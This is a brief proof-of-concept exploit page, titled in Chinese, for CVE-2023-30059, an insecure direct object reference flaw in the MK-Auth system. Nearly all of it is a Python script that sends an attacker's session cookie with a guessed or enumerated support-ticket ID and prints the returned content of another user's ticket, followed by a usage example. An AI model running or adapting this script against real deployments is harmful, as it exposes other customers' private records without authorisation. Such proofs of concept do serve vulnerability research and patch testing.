CVE-2023-30059 MK-Auth不安全的直接对象引用漏洞

import requests def check_idor_vulnerability(target_url, session_cookie, target_chamado_id): """ PoC for CVE-2023-30059: IDOR in MK-Auth """ headers = { "Cookie": f"PHPSESSID={session_cookie}" } # The vulnerable endpoint usually looks like /path/to/support?chamado=ID params = { "chamado": target_chamado_id } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed chamado ID {target_chamado_id}") print(f"[+] Response content snippet: {response.text[:200]}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Usage Example # Replace these with actual values from the target environment target = "http://target-ip/mk-auth/system/url" session = "valid_attacker_session_id" victim_id = "1002" # ID guessed or enumerated check_idor_vulnerability(target, session, victim_id)